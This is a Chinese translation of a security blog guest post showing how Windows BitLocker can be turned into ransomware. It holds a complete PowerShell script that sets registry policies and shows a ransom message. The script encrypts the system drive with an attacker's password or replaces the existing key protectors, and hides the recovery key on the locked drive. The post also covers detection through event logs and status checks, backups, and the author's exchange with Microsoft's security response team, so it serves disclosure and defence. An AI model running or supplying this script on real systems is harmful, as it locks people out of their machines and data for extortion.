BitLocker勒索软件:利用微软加密工具实施恶意攻击的技术剖析

本文详细分析了攻击者如何利用Windows BitLocker加密功能制作勒索软件,包含完整的PowerShell脚本实现、注册表修改技术、防御检测方案以及微软官方的安全响应,揭示了系统加密功能被恶意利用的技术细节。

BitLocker勒索软件:利用BitLocker实施恶意目的

编者注:我们很高兴发布首篇客座文章!如需在本博客投稿,请通过Twitter私信或联系表单获取详情。


Robert Schwass //

几天前我偶然发现一篇关于Windows 10 BitLocker新"功能"的文章。最引人注目的是新增了配置预启动恢复的组策略功能。虽然这听起来并不特别,但结合Windows 8开始支持的无TPM(可信平台模块)和无USB驱动器加密系统驱动器的功能,就构成了恶意利用的完美配方。

在向BHIS展示这一发现后,他们提出了更多问题。进一步研究发现,可以移除受保护驱动器上的恢复密钥和密码并替换它们,而无需知道原始密码或密钥。

基于BitLocker的勒索软件!

使用PowerShell的BitLocker Cmdlet,我创建了一个加密系统驱动器并显示自定义恢复消息的脚本。以下脚本会锁定驱动器并丢弃恢复密钥(将其放在正被加密的驱动器上),解锁驱动器的唯一方式是通过密码。

如果驱动器已受BitLocker保护,脚本会清除所有密码和恢复密钥并替换它们。

注意:脚本需要本地管理员权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#BitLocker for Ransom

#检查系统驱动器是否已启用BitLocker
$Check = (get-BitLockervolume -mountpoint $ENV:SystemDrive)
$Status = $Check.ProtectionStatus

if($Status -eq 'Off'){echo 'BitLocker NOT Enabled on System Drive'}
if($Status -eq 'On'){echo 'BitLocker IS Enabled on System Drive'}

#首先设置注册表
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseAdvancedStartup /t REG_DWORD /d 1 /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPM /t REG_DWORD /d 2 /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKey /t REG_DWORD /d 2 /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKeyPIN /t REG_DWORD /d 2 /f

#修改恢复消息(示例中使用虚假网站要求受害者支付密码费用)
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v RecoveryKeyMessage /t REG_SZ /d 'please Visit my hacker site https://yourscrewed.hahaha to give me money' /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /V RecoveryKeyMessageSource /t REG_DWORD /d 2 /f
REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMPIN /t REG_DWORD /d 2 /f

#使用强密码!
$PlainPassword = "P@ssw0rd"
$SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force

if($Status -eq 'Off'){
    #启用BitLocker,加密C盘已使用空间
    enable-BitLocker -EncryptionMethod Aes256 -password $securepassword -mountpoint $ENV:SystemDrive -PasswordProtector -skiphardwaretest -UsedSpaceOnly
    
    #要使用自定义恢复屏幕,必须创建恢复密钥。将密钥放在加密的C盘使其无法访问
    add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive -RecoveryKeyProtector -RecoveryKeyPath $ENV:SystemDrive\
    
    #取消注释可立即重启计算机,在用户撤销前完成破坏
    #restart-computer
}

#如果系统驱动器已启用BitLocker,执行以下操作移除所有密码和恢复密钥,然后添加自己的密码和密钥
if ($Status -eq 'On'){
    #移除所有密码和恢复密钥(尚未在TPM环境下测试)
    $IDS = $check.KeyProtector.KeyProtectorID
    foreach($ID in $IDS){
        Remove-BitLockerKeyProtector -Mountpoint $ENV:SystemDrive -KeyProtectorID $ID
    }
    
    add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive -PasswordProtector -Password $securepassword
    add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive -RecoveryKeyProtector -RecoveryKeyPath $ENV:SystemDrive\
    Resume-BitLocker -MountPoint $ENV:SystemDrive
}
##ENDSCRIPT##

脚本执行迅速,计算机下次重启时,用户将看到BitLocker密码提示。按ESC键可查看恢复选项,其中显示系统注册表中设置的自定义恢复消息。

就这样,使用微软内置功能和工具的勒索软件就完成了。我不会详细讨论如何将其武器化为有效载荷或强制提升权限,互联网上已有大量相关博客文章和视频。

脚本中有一行可在执行后立即重启计算机,防止用户中止锁定过程。我默认将其注释掉,因为我认为大多数用户会忽略警告驱动器正在加密的小通知。根据我的经验,只有在脚本运行前驱动器未加密时才会显示此通知。

研究注意事项

所有研究均在工作组全新安装的Windows 10评估版上进行。没有迹象表明在域加入系统上会有不同结果,因为BitLocker读取当前注册表设置而非启动时加载的设置。

防御措施——做好失去一切的准备

备份个人数据。如果您需要的所有内容都在云端、外部设备或其他远程存储中,您将安然无恙。

防御措施——如何识别正在发生的情况?

使用PowerShell或CMD检测

如果您正在寻找,这很容易检测。您可以使用启用BitLocker的相同工具来检测它是否正在运行。Windows中有多种方式可以在关机/重启时运行脚本,甚至定期运行查询BitLocker状态及恢复密钥和方法的脚本。将当前恢复密钥与已知密钥进行比较,如果密钥不同,则重置密钥或向帮助台发送警报等。

如果您更熟悉cmd和批处理脚本,manage-bde.exe工具允许您执行与PowerShell Cmdlet类似的任务。

使用事件日志检测

BitLocker事件默认记录到"应用程序和服务 → Microsoft → Windows → BitLocker-API → 管理"源。创建密钥保护器时发生事件775。驱动器开始加密时发生事件768(至少在我的测试中C盘如此)。实验中还发生了事件796和780。对这些日志设置警报是检测BitLocker开启/关闭或密钥更改的好方法。

此外,首先避免给攻击者管理员权限。使用常见的恶意软件防御措施;扫描电子邮件附件,进行用户意识培训等。

个人认为,微软允许配置BitLocker而不强制使用USB或TPM是一个重大错误,他们也没有在更改前要求重新验证密码和恢复密钥,这确实错过了安全标记。

我联系了微软安全响应中心,表达了对当前BitLocker实施的担忧,他们很友善地给予了回复。

微软MSRC代表: “您好, 感谢您联系微软安全响应中心(MSRC)。以这种方式使用BitLocker,恶意人员需要已经入侵机器并拥有管理员权限,在这种情况下他们可以对系统为所欲为,就像任何本地管理员一样。 此致, MSRC”

我回复: “如今有许多安全技术,即使我的系统被入侵,攻击者仍需要身份验证才能更改密码。有没有办法以某种方式实施BitLocker,强制管理员在更改前验证恢复密钥? 微软是否考虑在未来为BitLocker添加此类功能?”

微软回应: “感谢您联系微软安全响应中心(MSRC)。这不会是一个安全漏洞,可能是设计如此。您可以使用Windows 10中的Windows反馈应用向Windows团队提交建议。”

微软确实认真对待安全,我只需要找到发布此信息的正确方式。我将在虚拟机中遵循微软的建议,我不喜欢将操作系统与微软账户绑定,可以说我老派。


要获取代码的复制/粘贴版本,请访问Robert的GitHub

准备学习更多? 通过Antisyphon的实惠课程提升您的技能! 提供实时/虚拟和点播的"随付随能"培训


广泛本地管理员测试 Lawrence’s List 061716

[返回顶部]

Black Hills Information Security, Inc. 890 Lazelle Street, Sturgis, SD 57785-1611 | 701-484-BHIS (2447) © 2008-2024 关于我们 | BHIS公司家族 | 隐私政策 | 联系我们

链接

站点搜索

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计